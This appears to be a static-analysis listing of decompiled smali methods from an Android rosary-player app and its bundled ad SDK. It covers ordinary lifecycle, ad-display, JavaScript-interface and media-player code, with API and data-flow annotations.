Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onPause()V
3try_start_3:
4invoke-static {}, Landroid/webkit/CookieSyncManager;->getInstance()Landroid/webkit/CookieSyncManager;
5move-result-object v0
7invoke-virtual {v0}, Landroid/webkit/CookieSyncManager;->stopSync()V
8try_end_a: return-void
9catch_b: move-exception v0
10goto/16 :goto_a
APIs
  • android.app.Activity.onResume
  • android.webkit.CookieSyncManager.getInstance
  • android.webkit.CookieSyncManager.startSync
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onResume()V
3try_start_3:
4invoke-static {}, Landroid/webkit/CookieSyncManager;->getInstance()Landroid/webkit/CookieSyncManager;
5move-result-object v0
7invoke-virtual {v0}, Landroid/webkit/CookieSyncManager;->startSync()V
8try_end_a: return-void
9catch_b: move-exception v0
10goto/16 :goto_a
APIs
  • android.app.Activity.onAttachedToWindow
  • com.vxjxu.jkhfn1870.BrowserActivity.getWindow
  • android.view.Window.setFormat
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onAttachedToWindow()V
4invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->getWindow()Landroid/view/Window;
5move-result-object v0
6const/4 v1, 0x1
8invoke-virtual {v0, v1}, Landroid/view/Window;->setFormat(I)V
  • Data flow analysis:
    • format: 1
9return-void
APIs
  • com.vxjxu.jkhfn1870.AdView.actionOnViewChanges
  • android.widget.FrameLayout.onWindowFocusChanged
  • com.vxjxu.jkhfn1870.AdView.getParent
Position Instruction Meta Information
0.param p1, "hasWindowFocus" # Z
1.prologue
3invoke-direct {p0, p1}, Lcom/vxjxu/jkhfn1870/AdView;->actionOnViewChanges(Z)V
5invoke-super {p0, p1}, Landroid/widget/FrameLayout;->onWindowFocusChanged(Z)V
7invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getParent()Landroid/view/ViewParent;
8return-void
Cross References
APIs
  • android.webkit.WebView.onAnimationEnd
Strings
  • Animation end.
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/webkit/WebView;->onAnimationEnd()V
4iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->animationDrawListener:Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener;
5if-eqz v0, :cond_11
7const-string v0, "Animation end."
9invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Animation end.
11iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->animationDrawListener:Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener;
13invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener;->onAnimationDrawEnd()V
14cond_11: return-void
APIs
  • com.vxjxu.jkhfn1870.AdView.getAd
Strings
  • Getting new ad....
Position Instruction Meta Information
0.prologue
2const-string v0, "Getting new ad...."
4invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Getting new ad....
6iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$9;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
8invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/AdView;->getAd()V
9return-void
APIs
  • android.widget.TextView.setText
Strings
  • done
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lprsolutions/rosariofacileads/Countdown;->tv:Landroid/widget/TextView;
4const-string v1, "done"
6invoke-virtual {v0, v1}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
  • Data flow analysis:
    • p0: done
7return-void
APIs
  • android.app.Activity.<init>
  • android.util.DisplayMetrics.<init>
Position Instruction Meta Information
0.prologue
1const/16 v8, 0xe
2const/16 v7, 0x12
3const/4 v6, 0x7
4const/16 v4, 0x95
5const/4 v5, 0x0
7invoke-direct {p0}, Landroid/app/Activity;-><init>()V
8iput v5, p0, Lprsolutions/rosariofacileads/Player;->pausa:I
9iput v5, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I
10iput v5, p0, Lprsolutions/rosariofacileads/Player;->pallino:I
11iput v5, p0, Lprsolutions/rosariofacileads/Player;->giornata:I
12const/16 v0, 0x3b
13new-array v0, v0, [Lprsolutions/rosariofacileads/Player$Coord;
14new-instance v1, Lprsolutions/rosariofacileads/Player$Coord;
15const/16 v2, 0x88
17invoke-direct {v1, p0, v4, v2}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
18aput-object v1, v0, v5
19const/4 v1, 0x1
20new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
21const/16 v3, 0x77
23invoke-direct {v2, p0, v4, v3}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
24aput-object v2, v0, v1
25const/4 v1, 0x2
26new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
27const/16 v3, 0x65
29invoke-direct {v2, p0, v4, v3}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
30aput-object v2, v0, v1
31const/4 v1, 0x3
32new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
33const/16 v3, 0x51
35invoke-direct {v2, p0, v4, v3}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
36aput-object v2, v0, v1
37const/4 v1, 0x4
38new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
39const/16 v3, 0x3b
41invoke-direct {v2, p0, v4, v3}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
42aput-object v2, v0, v1
43const/4 v1, 0x5
44new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
45const/16 v3, 0xa6
46const/16 v4, 0x33
48invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
49aput-object v2, v0, v1
50const/4 v1, 0x6
51new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
52const/16 v3, 0xb5
53const/16 v4, 0x27
55invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
56aput-object v2, v0, v1
57new-instance v1, Lprsolutions/rosariofacileads/Player$Coord;
58const/16 v2, 0xc3
59const/16 v3, 0x19
61invoke-direct {v1, p0, v2, v3}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
62aput-object v1, v0, v6
63const/16 v1, 0x8
64new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
65const/16 v3, 0xd1
67invoke-direct {v2, p0, v3, v8}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
68aput-object v2, v0, v1
69const/16 v1, 0x9
70new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
71const/16 v3, 0xe2
72const/4 v4, 0x6
74invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
75aput-object v2, v0, v1
76const/16 v1, 0xa
77new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
78const/16 v3, 0xf4
80invoke-direct {v2, p0, v3, v6}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
81aput-object v2, v0, v1
82const/16 v1, 0xb
83new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
84const/16 v3, 0x102
85const/16 v4, 0x14
87invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
88aput-object v2, v0, v1
89const/16 v1, 0xc
90new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
91const/16 v3, 0x10d
92const/16 v4, 0x22
94invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
95aput-object v2, v0, v1
96const/16 v1, 0xd
97new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
98const/16 v3, 0x115
99const/16 v4, 0x30
101invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
102aput-object v2, v0, v1
103new-instance v1, Lprsolutions/rosariofacileads/Player$Coord;
104const/16 v2, 0x11b
105const/16 v3, 0x42
107invoke-direct {v1, p0, v2, v3}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
108aput-object v1, v0, v8
109const/16 v1, 0xf
110new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
111const/16 v3, 0x120
112const/16 v4, 0x52
114invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
115aput-object v2, v0, v1
116const/16 v1, 0x10
117new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
118const/16 v3, 0x121
119const/16 v4, 0x66
121invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
122aput-object v2, v0, v1
123const/16 v1, 0x11
124new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
125const/16 v3, 0x11f
126const/16 v4, 0x75
128invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
129aput-object v2, v0, v1
130new-instance v1, Lprsolutions/rosariofacileads/Player$Coord;
131const/16 v2, 0x11b
132const/16 v3, 0x84
134invoke-direct {v1, p0, v2, v3}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
135aput-object v1, v0, v7
136const/16 v1, 0x13
137new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
138const/16 v3, 0x117
139const/16 v4, 0x92
141invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
142aput-object v2, v0, v1
143const/16 v1, 0x14
144new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
145const/16 v3, 0x112
146const/16 v4, 0xa3
148invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
149aput-object v2, v0, v1
150const/16 v1, 0x15
151new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
152const/16 v3, 0x10b
153const/16 v4, 0xb2
155invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
156aput-object v2, v0, v1
157const/16 v1, 0x16
158new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
159const/16 v3, 0x104
160const/16 v4, 0xc0
162invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
163aput-object v2, v0, v1
164const/16 v1, 0x17
165new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
166const/16 v3, 0xfb
167const/16 v4, 0xcf
169invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
170aput-object v2, v0, v1
171const/16 v1, 0x18
172new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
173const/16 v3, 0xf2
174const/16 v4, 0xda
176invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
177aput-object v2, v0, v1
178const/16 v1, 0x19
179new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
180const/16 v3, 0xe6
181const/16 v4, 0xe7
183invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
184aput-object v2, v0, v1
185const/16 v1, 0x1a
186new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
187const/16 v3, 0xdb
188const/16 v4, 0xf6
190invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
191aput-object v2, v0, v1
192const/16 v1, 0x1b
193new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
194const/16 v3, 0xd2
195const/16 v4, 0x104
197invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
198aput-object v2, v0, v1
199const/16 v1, 0x1c
200new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
201const/16 v3, 0xc7
202const/16 v4, 0x110
204invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
205aput-object v2, v0, v1
206const/16 v1, 0x1d
207new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
208const/16 v3, 0xbb
209const/16 v4, 0x11b
211invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
212aput-object v2, v0, v1
213const/16 v1, 0x1e
214new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
215const/16 v3, 0xaf
216const/16 v4, 0x126
218invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
219aput-object v2, v0, v1
220const/16 v1, 0x1f
221new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
222const/16 v3, 0xa2
223const/16 v4, 0x12c
225invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
226aput-object v2, v0, v1
227const/16 v1, 0x20
228new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
229const/16 v3, 0x92
230const/16 v4, 0x12c
232invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
233aput-object v2, v0, v1
234const/16 v1, 0x21
235new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
236const/16 v3, 0x84
237const/16 v4, 0x126
239invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
240aput-object v2, v0, v1
241const/16 v1, 0x22
242new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
243const/16 v3, 0x7a
244const/16 v4, 0x11a
246invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
247aput-object v2, v0, v1
248const/16 v1, 0x23
249new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
250const/16 v3, 0x6f
251const/16 v4, 0x110
253invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
254aput-object v2, v0, v1
255const/16 v1, 0x24
256new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
257const/16 v3, 0x66
258const/16 v4, 0x104
260invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
261aput-object v2, v0, v1
262const/16 v1, 0x25
263new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
264const/16 v3, 0x5c
265const/16 v4, 0xf6
267invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
268aput-object v2, v0, v1
269const/16 v1, 0x26
270new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
271const/16 v3, 0x53
272const/16 v4, 0xe7
274invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
275aput-object v2, v0, v1
276const/16 v1, 0x27
277new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
278const/16 v3, 0x48
279const/16 v4, 0xd9
281invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
282aput-object v2, v0, v1
283const/16 v1, 0x28
284new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
285const/16 v3, 0x3f
286const/16 v4, 0xcb
288invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
289aput-object v2, v0, v1
290const/16 v1, 0x29
291new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
292const/16 v3, 0x36
293const/16 v4, 0xbc
295invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
296aput-object v2, v0, v1
297const/16 v1, 0x2a
298new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
299const/16 v3, 0x2e
300const/16 v4, 0xae
302invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
303aput-object v2, v0, v1
304const/16 v1, 0x2b
305new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
306const/16 v3, 0x28
307const/16 v4, 0xa0
309invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
310aput-object v2, v0, v1
311const/16 v1, 0x2c
312new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
313const/16 v3, 0x21
314const/16 v4, 0x92
316invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
317aput-object v2, v0, v1
318const/16 v1, 0x2d
319new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
320const/16 v3, 0x1c
321const/16 v4, 0x83
323invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
324aput-object v2, v0, v1
325const/16 v1, 0x2e
326new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
327const/16 v3, 0x16
328const/16 v4, 0x75
330invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
331aput-object v2, v0, v1
332const/16 v1, 0x2f
333new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
334const/16 v3, 0x66
336invoke-direct {v2, p0, v7, v3}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
337aput-object v2, v0, v1
338const/16 v1, 0x30
339new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
340const/16 v3, 0x52
342invoke-direct {v2, p0, v7, v3}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
343aput-object v2, v0, v1
344const/16 v1, 0x31
345new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
346const/16 v3, 0x17
347const/16 v4, 0x42
349invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
350aput-object v2, v0, v1
351const/16 v1, 0x32
352new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
353const/16 v3, 0x19
354const/16 v4, 0x30
356invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
357aput-object v2, v0, v1
358const/16 v1, 0x33
359new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
360const/16 v3, 0x20
361const/16 v4, 0x20
363invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
364aput-object v2, v0, v1
365const/16 v1, 0x34
366new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
367const/16 v3, 0x2a
369invoke-direct {v2, p0, v3, v7}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
370aput-object v2, v0, v1
371const/16 v1, 0x35
372new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
373const/16 v3, 0x3a
375invoke-direct {v2, p0, v3, v6}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
376aput-object v2, v0, v1
377const/16 v1, 0x36
378new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
379const/16 v3, 0x4b
381invoke-direct {v2, p0, v3, v6}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
382aput-object v2, v0, v1
383const/16 v1, 0x37
384new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
385const/16 v3, 0x59
387invoke-direct {v2, p0, v3, v8}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
388aput-object v2, v0, v1
389const/16 v1, 0x38
390new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
391const/16 v3, 0x67
392const/16 v4, 0x1a
394invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
395aput-object v2, v0, v1
396const/16 v1, 0x39
397new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
398const/16 v3, 0x75
399const/16 v4, 0x27
401invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
402aput-object v2, v0, v1
403const/16 v1, 0x3a
404new-instance v2, Lprsolutions/rosariofacileads/Player$Coord;
405const/16 v3, 0x83
406const/16 v4, 0x35
408invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V
409aput-object v2, v0, v1
410iput-object v0, p0, Lprsolutions/rosariofacileads/Player;->coordinate:[Lprsolutions/rosariofacileads/Player$Coord;
411const/16 v0, 0x51
412new-array v0, v0, [I
413fill-array-data v0, :array_310
414iput-object v0, p0, Lprsolutions/rosariofacileads/Player;->sequenza:[I
415new-instance v0, Landroid/util/DisplayMetrics;
417invoke-direct {v0}, Landroid/util/DisplayMetrics;-><init>()V
418iput-object v0, p0, Lprsolutions/rosariofacileads/Player;->metrics:Landroid/util/DisplayMetrics;
419iput-boolean v5, p0, Lprsolutions/rosariofacileads/Player;->sleep_mode:Z
420new-instance v0, Lprsolutions/rosariofacileads/Player$1;
422invoke-direct {v0, p0}, Lprsolutions/rosariofacileads/Player$1;-><init>(Lprsolutions/rosariofacileads/Player;)V
423iput-object v0, p0, Lprsolutions/rosariofacileads/Player;->mPlayerListener:Landroid/media/MediaPlayer$OnCompletionListener;
424new-instance v0, Lprsolutions/rosariofacileads/Player$2;
426invoke-direct {v0, p0}, Lprsolutions/rosariofacileads/Player$2;-><init>(Lprsolutions/rosariofacileads/Player;)V
427iput-object v0, p0, Lprsolutions/rosariofacileads/Player;->mPauseListener:Landroid/view/View$OnClickListener;
428return-void
Cross References
APIs
  • com.vxjxu.jkhfn1870.BrowserActivity.getWindow
  • android.view.Window.setFlags
Position Instruction Meta Information
0.annotation build Landroid/annotation/SuppressLint;
1value = {
2"InlinedApi"
3}
4.end annotation
5.prologue
6try_start_0: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
7const/16 v1, 0xb
8if-lt v0, v1, :cond_13
10iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity;
12invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->getWindow()Landroid/view/Window;
13move-result-object v0
14const/high16 v1, 0x1000000
15const/high16 v2, 0x1000000
17invoke-virtual {v0, v1, v2}, Landroid/view/Window;->setFlags(II)V
  • Data flow analysis:
    • flags: 16777216
    • mask: 16777216
18goto_13: return-void
19catch_14: move-exception v0
20goto/16 :goto_13
APIs
  • com.vxjxu.jkhfn1870.MraidView.access$700
Position Instruction Meta Information
0.param p1, "properties" # Ljava/lang/String;
1.annotation runtime Landroid/webkit/JavascriptInterface;
2.end annotation
3.prologue
5iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
7invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$700(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;
8move-result-object v0
9if-eqz v0, :cond_11
11iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
13invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$700(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;
14move-result-object v0
16invoke-virtual {v0, p1}, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;->setResizeProperties(Ljava/lang/String;)V
17cond_11: return-void
Cross References
APIs
  • com.vxjxu.jkhfn1870.AdView.setBackground
  • com.vxjxu.jkhfn1870.AdView.setBackgroundDrawable
Position Instruction Meta Information
0.prologue
1try_start_0: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
2const/16 v1, 0x10
3if-lt v0, v1, :cond_c
5iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerBgDrawable:Landroid/graphics/drawable/Drawable;
7invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/AdView;->setBackground(Landroid/graphics/drawable/Drawable;)V
8goto_b: return-void
9cond_c:
10iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerBgDrawable:Landroid/graphics/drawable/Drawable;
12invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/AdView;->setBackgroundDrawable(Landroid/graphics/drawable/Drawable;)V
13try_end_11: goto/16 :goto_b
14catch_12: move-exception v0
15goto/16 :goto_b
APIs
  • org.apache.http.HttpEntity.getContent
  • java.util.zip.GZIPInputStream.<init>
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Ljava/io/IOException;
3}
4.end annotation
5.prologue
6new-instance v0, Ljava/util/zip/GZIPInputStream;
8iget-object v1, p0, Lcom/vxjxu/jkhfn1870/NetworkThread$InflatingEntity;->wrappedEntity:Lorg/apache/http/HttpEntity;
10invoke-interface {v1}, Lorg/apache/http/HttpEntity;->getContent()Ljava/io/InputStream;
11move-result-object v1
13invoke-direct {v0, v1}, Ljava/util/zip/GZIPInputStream;-><init>(Ljava/io/InputStream;)V
14return-object v0
APIs
  • com.vxjxu.jkhfn1870.OverlayAd.access$200
  • android.app.Activity.finish
Position Instruction Meta Information
0.param p1, "url" # Ljava/lang/String;
1.annotation runtime Landroid/webkit/JavascriptInterface;
2.end annotation
3.prologue
5iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
7invoke-static {v0, p1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$200(Lcom/vxjxu/jkhfn1870/OverlayAd;Ljava/lang/String;)V
9iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
11iget-object v0, v0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity;
13invoke-virtual {v0}, Landroid/app/Activity;->finish()V
14return-void
Cross References
APIs
  • com.vxjxu.jkhfn1870.AdView.post
  • java.lang.Exception.printStackTrace
Position Instruction Meta Information
0.param p1, "result" # Ljava/lang/Boolean;
1.prologue
2try_start_0:
3iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView$8;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
4new-instance v2, Lcom/vxjxu/jkhfn1870/AdView$8$1;
6invoke-direct {v2, p0, p1}, Lcom/vxjxu/jkhfn1870/AdView$8$1;-><init>(Lcom/vxjxu/jkhfn1870/AdView$8;Ljava/lang/Boolean;)V
8invoke-virtual {v1, v2}, Lcom/vxjxu/jkhfn1870/AdView;->post(Ljava/lang/Runnable;)Z
9try_end_a: return-void
10catch_b: move-exception v0
12invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
13goto/16 :goto_a
APIs
  • android.app.Activity.onDestroy
  • android.media.MediaPlayer.release
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onDestroy()V
4iget-object v0, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
5if-eqz v0, :cond_f
7iget-object v0, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
9invoke-virtual {v0}, Landroid/media/MediaPlayer;->release()V
10const/4 v0, 0x0
11iput-object v0, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
12cond_f: return-void
APIs
  • android.content.DialogInterface.dismiss
  • android.app.Activity.finish
Position Instruction Meta Information
